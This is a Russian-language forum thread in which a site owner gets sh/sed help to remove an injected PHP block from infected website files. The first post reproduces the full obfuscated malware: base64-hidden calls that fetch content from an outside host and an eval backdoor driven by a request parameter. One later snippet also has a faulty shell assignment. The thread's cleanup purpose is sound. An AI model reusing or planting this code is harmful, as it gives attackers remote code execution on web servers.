Заменить код

Программирование на sh, быть может немного про альтернативные языки
Правила форума
Убедительная просьба юзать теги [code] при оформлении листингов.
Сообщения не оформленные должным образом имеют все шансы быть незамеченными.
Demontager
ефрейтор
Сообщения: 68
Зарегистрирован: 2011-06-27 23:11:48
Откуда: Украина
Контактная информация:

Заменить код

Непрочитанное сообщение Demontager » 2013-02-25 12:29:04

Нужно заменить вредноносный код, который заразил мне несколько сайтов. У меня есть рабочий скрипт, но он почему-то не отрабатывает на этом куске кода, на простых срабатывает.

Код: Выделить всё

#!/bin/sh
while read filename
do
echo $filename
cat $filename | sed 's|<?php  $GLOBALS['_1158244728_']=Array(base64_decode('ZXJyb3' .'JfcmVwb3' .'J0a' .'W' .'5n'),base64_decode('' .'aW5p' .'X' .'3Nl' .'d' .'A=' .'='),base64_decode('cHJlZ' .'19' .'tYX' .'RjaA=='),base64_decode('ZmlsZV9nZX' .'R' .'fY2' .'9udGVudHM='),base64_decode('bXRfcm' .'F' .'uZA=='),base64_decode('c3' .'RycG9' .'z'),base64_decode('dXJs' .'ZW5jb2Rl'),base64_decode('dX' .'JsZ' .'W' .'5j' .'b2Rl'),base64_decode('b' .'W' .'Q1'),base64_decode('c3Ry' .'cG' .'Jyaw=='),base64_decode('aW5' .'pX2dldA=='),base64_decode('Zm' .'l' .'sZ' .'V9n' .'ZXRfY29u' .'dGVudH' .'M='),base64_decode('ZnVu' .'Y3Rpb' .'2' .'5fZXh' .'pc3Rz'),base64_decode('' .'Y3Vy' .'b' .'F9p' .'bm' .'l0'),base64_decode('Y3Vyb' .'F9zZX' .'Rvc' .'HQ='),base64_decode('Y3' .'VybF9z' .'ZXRvcHQ='),base64_decode('Y3' .'Vy' .'b' .'F9leGVj'),base64_decode('Y' .'3Vy' .'bF9' .'jbG9zZQ=='),base64_decode('bXR' .'f' .'cmFuZA' .'=='),base64_decode('aW' .'1hZ2' .'V' .'j' .'b3' .'B5'),base64_decode('c3R' .'yaXBzbGFzaGVz'));  function _376563700($i){$a=Array('Z' .'GlzcGxheV9lc' .'nJvcnM' .'=','' .'MA' .'==','Y2x' .'pZ' .'W50X' .'2NoZWNr','Y2xp' .'ZW50X2No' .'ZWNr','IVx' .'T' .'IXU=','' .'U0NSSVBU' .'X0ZJ' .'TEVOQ' .'U1F','' .'dQ==','dw==','U' .'0' .'VSVk' .'VSX05' .'BTU' .'U=','UkV' .'RVUVTVF9VUkk=','SFRUU' .'F9' .'VU0VSX0F' .'HRU5' .'U','aHR0cDo' .'vL2' .'FsZ' .'Xh2YW5' .'kZWVwLmNvbS9nZXQucG' .'hwP2Q' .'9','Jn' .'U' .'9','J' .'mM' .'9','Jmk' .'9MTgmaD0=','Njg5MzFmM2EwZ' .'DBmN' .'2UzO' .'Dk2YzZlN2QxYjg' .'0MmRhYjM=','' .'MTg=','YWxsb3' .'dfdX' .'JsX2ZvcGVu','Y3VybF9pbm' .'l0','' .'Z2Jh','cA=' .'=','' .'NmM5MDUzZ' .'DU=');return base64_decode($a[$i]);}  $GLOBALS['_1158244728_'][0](round(0));$jdd228_0=round(0+554.66666666667+554.66666666667+554.66666666667);$GLOBALS['_1158244728_'][1](_376563700(0),_376563700(1));if(!empty($_COOKIE[_376563700(2)]))die($_COOKIE[_376563700(3)]);if($GLOBALS['_1158244728_'][2](_376563700(4),$GLOBALS['_1158244728_'][3]($_SERVER[_376563700(5)])))$jdd228_1=_376563700(6);else $jdd228_1=_376563700(7);$jdd228_2=$_SERVER[_376563700(8)] .$_SERVER[_376563700(9)];$jdd228_3=$_SERVER[_376563700(10)];if(round(0+1054.2+1054.2+1054.2+1054.2+1054.2)<$GLOBALS['_1158244728_'][4](round(0+525.75+525.75+525.75+525.75),round(0+1581.5+1581.5)))$GLOBALS['_1158244728_'][5]($jdd228_2,$jdd228_4);$jdd228_5=_376563700(11) .$GLOBALS['_1158244728_'][6]($jdd228_2) ._376563700(12) .$GLOBALS['_1158244728_'][7]($jdd228_3) ._376563700(13) .$jdd228_1 ._376563700(14) .$GLOBALS['_1158244728_'][8](_376563700(15) .$jdd228_2 .$jdd228_3 .$jdd228_1 ._376563700(16));while(round(0+1147.6666666667+1147.6666666667+1147.6666666667)-round(0+3443))$GLOBALS['_1158244728_'][9]($jdd228_1,$_COOKIE,$_COOKIE,$_REQUEST);if($GLOBALS['_1158244728_'][10](_376563700(17))== round(0+0.5+0.5)){echo $GLOBALS['_1158244728_'][11]($jdd228_5);}elseif($GLOBALS['_1158244728_'][12](_376563700(18))){$jdd228_4=$GLOBALS['_1158244728_'][13]($jdd228_5);$GLOBALS['_1158244728_'][14]($jdd228_4,42,FALSE);$GLOBALS['_1158244728_'][15]($jdd228_4,19913,TRUE);$jdd228_6=$GLOBALS['_1158244728_'][16]($jdd228_4);$jdd228_7=_376563700(19);$GLOBALS['_1158244728_'][17]($jdd228_4);echo $jdd228_6;if(round(0+3382)<$GLOBALS['_1158244728_'][18](round(0+371+371+371+371),round(0+473.25+473.25+473.25+473.25)))$GLOBALS['_1158244728_'][19]($_REQUEST,$jdd228_3,$jdd228_3,$jdd228_5);}if($_REQUEST[_376563700(20)]== _376563700(21))eval($GLOBALS['_1158244728_'][20]($_REQUEST["c"])); ?>||g' >  1.txt
mv 1.txt $filename
done < file.txt
Если, допустим простой стринг, типо "teststring", то находит и удаляет без проблем.

Код: Выделить всё

#!/bin/sh
while read filename
do
echo $filename
cat $filename | sed 's|teststring||g' >  1.txt
mv 1.txt $filename
done < file.txt
Поясню немного. file.txt - это список абсолютных путей к файлам, в которых необходимо сделать замену. 1.txt - временный промежуточный файл, после исполнения скрипта удаляется.

Хостинговая компания Host-Food.ru
Хостинг HostFood.ru
 

Услуги хостинговой компании Host-Food.ru

Хостинг HostFood.ru

Тарифы на хостинг в России, от 12 рублей: https://www.host-food.ru/tariffs/hosting/
Тарифы на виртуальные сервера (VPS/VDS/KVM) в РФ, от 189 руб.: https://www.host-food.ru/tariffs/virtualny-server-vps/
Выделенные сервера, Россия, Москва, от 2000 рублей (HP Proliant G5, Intel Xeon E5430 (2.66GHz, Quad-Core, 12Mb), 8Gb RAM, 2x300Gb SAS HDD, P400i, 512Mb, BBU):
https://www.host-food.ru/tariffs/vydelennyi-server-ds/
Недорогие домены в популярных зонах: https://www.host-food.ru/domains/

rayder
лейтенант
Сообщения: 661
Зарегистрирован: 2008-12-18 16:29:43
Откуда: Ukraine/Kiev
Контактная информация:

Re: Заменить код

Непрочитанное сообщение rayder » 2013-02-25 12:44:39

кавычки и прочее экранировать пробовали?
Человеку свойственно ошибаться, но для нечеловеческих ляпов нужен компьютер.

Demontager
ефрейтор
Сообщения: 68
Зарегистрирован: 2011-06-27 23:11:48
Откуда: Украина
Контактная информация:

Re: Заменить код

Непрочитанное сообщение Demontager » 2013-02-25 12:47:56

Не пробовал, как видите там куча спецсимволов. А нельзя как-то передать в sed такой стринг без модификации ?

Аватара пользователя
FreeBSP
майор
Сообщения: 2020
Зарегистрирован: 2009-05-24 20:20:19
Откуда: Москва

Re: Заменить код

Непрочитанное сообщение FreeBSP » 2013-02-25 12:54:24

на php скрипт перерисуй=)
или на перле/пистоне/другомлюбимомязыкепрограммирования
Человек начинает получать первые наслаждения от знакомства с unix системами. Ему нужно помочь - дальше он сможет получать наслаждение самостоятельно ©
Ламер — не желающий самостоятельно разбираться. Не путать с новичком: ламер опасен и знает это!

kpp
лейтенант
Сообщения: 613
Зарегистрирован: 2009-08-05 16:10:46
Откуда: Украина Днепропетровск-Киев
Контактная информация:

Re: Заменить код

Непрочитанное сообщение kpp » 2013-02-26 15:14:46

Зачем же PHP или другие языки?

Код: Выделить всё

ap="'";

sed '/<?php  $GLOBALS\['$ap'_1158244728_'$ap'\]/h; {
         //,/eval($GLOBALS\['$ap'_1158244728_'$ap'\]\[20\]($_REQUEST\["c"\])); ?>/H
         /eval($GLOBALS\['$ap'_1158244728_'$ap'\]\[20\]($_REQUEST\["c"\])); ?>/{
          x
          s|<?php  $GLOBALS\['$ap'_1158244728_'$ap'\].*eval($GLOBALS\['$ap'_1158244728_'$ap'\]\[20\]($_REQUEST\["c"\])); ?>||
         }
         }
         /<?php  $GLOBALS\['$ap'_1158244728_'$ap'\]/d
      '  $filename > 1.txt
Нет, ребята, я не гордый. Не загадывая вдаль, так скажу: зачем мне орден? Я согласен на медаль.

Аватара пользователя
FreeBSP
майор
Сообщения: 2020
Зарегистрирован: 2009-05-24 20:20:19
Откуда: Москва

Re: Заменить код

Непрочитанное сообщение FreeBSP » 2013-02-26 18:02:07

это сед, судя по всему, внутри шелла, который что-то делает с php-начинкой файлов.
Человек начинает получать первые наслаждения от знакомства с unix системами. Ему нужно помочь - дальше он сможет получать наслаждение самостоятельно ©
Ламер — не желающий самостоятельно разбираться. Не путать с новичком: ламер опасен и знает это!

Demontager
ефрейтор
Сообщения: 68
Зарегистрирован: 2011-06-27 23:11:48
Откуда: Украина
Контактная информация:

Re: Заменить код

Непрочитанное сообщение Demontager » 2013-02-26 18:34:38

kpp,
А как это в сборе будет, что-то я не совсем понял ваш кусок. Зачем в начале

Код: Выделить всё

 ap="'";
?
Экранировать следует <, потом ' и ] обратным слешем, судя с вашего кода

kpp
лейтенант
Сообщения: 613
Зарегистрирован: 2009-08-05 16:10:46
Откуда: Украина Днепропетровск-Киев
Контактная информация:

Re: Заменить код

Непрочитанное сообщение kpp » 2013-02-26 19:02:35

Вот так будет "в сборе" :

Код: Выделить всё

#!/bin/sh
ap="'";
while read filename
do
echo $filename

sed '/<?php  $GLOBALS\['$ap'_1158244728_'$ap'\]/h; {
         //,/eval($GLOBALS\['$ap'_1158244728_'$ap'\]\[20\]($_REQUEST\["c"\])); ?>/H
         /eval($GLOBALS\['$ap'_1158244728_'$ap'\]\[20\]($_REQUEST\["c"\])); ?>/{
          x
          s|<?php  $GLOBALS\['$ap'_1158244728_'$ap'\].*eval($GLOBALS\['$ap'_1158244728_'$ap'\]\[20\]($_REQUEST\["c"\])); ?>||
         }
         }
         /<?php  $GLOBALS\['$ap'_1158244728_'$ap'\]/d
      '  $filename > 1.txt

mv 1.txt $filename
done < file.txt
Экранировать нужно []{}.*/\.
Особая работа с апострофом - он подставляется через переменную $ap.
Нет, ребята, я не гордый. Не загадывая вдаль, так скажу: зачем мне орден? Я согласен на медаль.

kpp
лейтенант
Сообщения: 613
Зарегистрирован: 2009-08-05 16:10:46
Откуда: Украина Днепропетровск-Киев
Контактная информация:

Re: Заменить код

Непрочитанное сообщение kpp » 2013-02-26 19:08:31

Этот сед вырезает из файла все блоки кот. начинаются "<?php $GLOBALS['_1158244728_']" и заканчиваются "eval($GLOBALS['_1158244728_'][20]($_REQUEST["c"])); ?>".
Нет, ребята, я не гордый. Не загадывая вдаль, так скажу: зачем мне орден? Я согласен на медаль.

Demontager
ефрейтор
Сообщения: 68
Зарегистрирован: 2011-06-27 23:11:48
Откуда: Украина
Контактная информация:

Re: Заменить код

Непрочитанное сообщение Demontager » 2013-02-26 21:55:45

Спасибо большое, работает! Вы сэкономили мне кучу времени, до сих пор вручную сидел удалял. Я вот что ещё хотел спросить, а можно еще упростить код скрипта, там ведь получается что удалять нужно только повторяющиеся строки. Допустим, упростить так, чтобы удалять строки где в начале встречаются

Код: Выделить всё

<?php  $GLOBALS['_1158244728_']
Они только в начале файла вставлены. А в конце строки только

Код: Выделить всё

[20]($_REQUEST["c"])); ?>
т.е. нет никакого риска удалить нужное.

Demontager
ефрейтор
Сообщения: 68
Зарегистрирован: 2011-06-27 23:11:48
Откуда: Украина
Контактная информация:

Re: Заменить код

Непрочитанное сообщение Demontager » 2013-02-26 22:15:53

Небольшая проблемка, на Linux скрипт отрабатывает без ошибок (тестирую), а на сервере (FreeBSD 9.1), где надо сделать замену , пишет ошибку синтаксиса:

Код: Выделить всё

# sh replace.sh
: not found 
replace.sh: 18: Syntax error: "done" unexpected (expecting "do")

Аватара пользователя
FreeBSP
майор
Сообщения: 2020
Зарегистрирован: 2009-05-24 20:20:19
Откуда: Москва

Re: Заменить код

Непрочитанное сообщение FreeBSP » 2013-02-26 23:41:47

юзай баш или приводи в соответствие с sh синтаксисом
Человек начинает получать первые наслаждения от знакомства с unix системами. Ему нужно помочь - дальше он сможет получать наслаждение самостоятельно ©
Ламер — не желающий самостоятельно разбираться. Не путать с новичком: ламер опасен и знает это!

Demontager
ефрейтор
Сообщения: 68
Зарегистрирован: 2011-06-27 23:11:48
Откуда: Украина
Контактная информация:

Re: Заменить код

Непрочитанное сообщение Demontager » 2013-02-27 1:03:25

Проблема не в bash или sh. Вспомнил что у меня была похожая проблема с rc.conf и решил проверить. Она заключается в том, что при передачи по ftp, происходит не совсем коректная перекодировка перевода строк и в *.nix при просмотре такого файла при помощи

Код: Выделить всё

cat -vet file.txt
видны переводы строк как ^M$, т.е так

Код: Выделить всё

/usr/local/file.txt^M$
А правильно должно быть так

Код: Выделить всё

/usr/local/file.txt$
Скрипт работает одинаково на Linux и Unix, спасибо еще раз kpp! Вы меня здорово выручили.

Demontager
ефрейтор
Сообщения: 68
Зарегистрирован: 2011-06-27 23:11:48
Откуда: Украина
Контактная информация:

Re: Заменить код

Непрочитанное сообщение Demontager » 2013-02-27 1:54:20

P.S.
Когда я исполнял скрипт на большом кол-ве файлов, некоторые были недоступны (список создал ранее, а потом поудалял часть), так вот, когда скрипт натыкается на несуществующий файл, он создает в директории пустой файл. Можно как-то ещё добавить условие, чтобы он ничего не создавал если файла со списка не существует ?

Аватара пользователя
FreeBSP
майор
Сообщения: 2020
Зарегистрирован: 2009-05-24 20:20:19
Откуда: Москва

Re: Заменить код

Непрочитанное сообщение FreeBSP » 2013-02-27 6:51:34

Код: Выделить всё

if [ -f $filename ]; then
echo $filename

sed '/<?php  $GLOBALS\['$ap'_1158244728_'$ap'\]/h; {
         //,/eval($GLOBALS\['$ap'_1158244728_'$ap'\]\[20\]($_REQUEST\["c"\])); ?>/H
         /eval($GLOBALS\['$ap'_1158244728_'$ap'\]\[20\]($_REQUEST\["c"\])); ?>/{
          x
          s|<?php  $GLOBALS\['$ap'_1158244728_'$ap'\].*eval($GLOBALS\['$ap'_1158244728_'$ap'\]\[20\]($_REQUEST\["c"\])); ?>||
         }
         }
         /<?php  $GLOBALS\['$ap'_1158244728_'$ap'\]/d
      '  $filename > 1.txt

mv 1.txt $filename
fi
Человек начинает получать первые наслаждения от знакомства с unix системами. Ему нужно помочь - дальше он сможет получать наслаждение самостоятельно ©
Ламер — не желающий самостоятельно разбираться. Не путать с новичком: ламер опасен и знает это!

kpp
лейтенант
Сообщения: 613
Зарегистрирован: 2009-08-05 16:10:46
Откуда: Украина Днепропетровск-Киев
Контактная информация:

Re: Заменить код

Непрочитанное сообщение kpp » 2013-02-27 14:20:33

Упростить скрипт можно, если опираться на частные особенности. Например, если этот блок всегда идет одной строкой и\или всегда в самом начале или конце файла и\или встречается в каждом файле не больше одного раза.
По поводу виндовых анахронизмов ^M$, проверки наличия\возможности чтения файла:

Код: Выделить всё

#!/bin/sh
ap="'";
while read filename
do
[ -r "$filename" ] || continue

$filename="`echo "$filename" | tr -d "\r"`"
echo "File \"$filename\""

    ...

mv 1.txt "$filename"

done < file.txt
Еще совет, всегда заключать строковые переменные в кавычки - это избавит от возможных проблем в будущем.
Нет, ребята, я не гордый. Не загадывая вдаль, так скажу: зачем мне орден? Я согласен на медаль.

Demontager
ефрейтор
Сообщения: 68
Зарегистрирован: 2011-06-27 23:11:48
Откуда: Украина
Контактная информация:

Re: Заменить код

Непрочитанное сообщение Demontager » 2013-02-27 22:04:10

Что-то я сразу протупил, в моем конкретном случае, сработала бы такая простая конструкция:

Код: Выделить всё

#!/bin/sh
while read filename
do
echo $filename
cat $filename | sed '/1158244728/d' >  1.txt
mv 1.txt $filename
done < file.txt
Т.е. удалить те строки, где встречается 1158244728

kpp
лейтенант
Сообщения: 613
Зарегистрирован: 2009-08-05 16:10:46
Откуда: Украина Днепропетровск-Киев
Контактная информация:

Re: Заменить код

Непрочитанное сообщение kpp » 2013-02-27 23:33:07

Код: Выделить всё

sed '/1158244728/d' "$filename" >  1.txt
Предпочтительнее чем

Код: Выделить всё

cat $filename | sed '/1158244728/d' >  1.txt
Переменные, содержащие пути, лучше обрамлять кавычками.
Нет, ребята, я не гордый. Не загадывая вдаль, так скажу: зачем мне орден? Я согласен на медаль.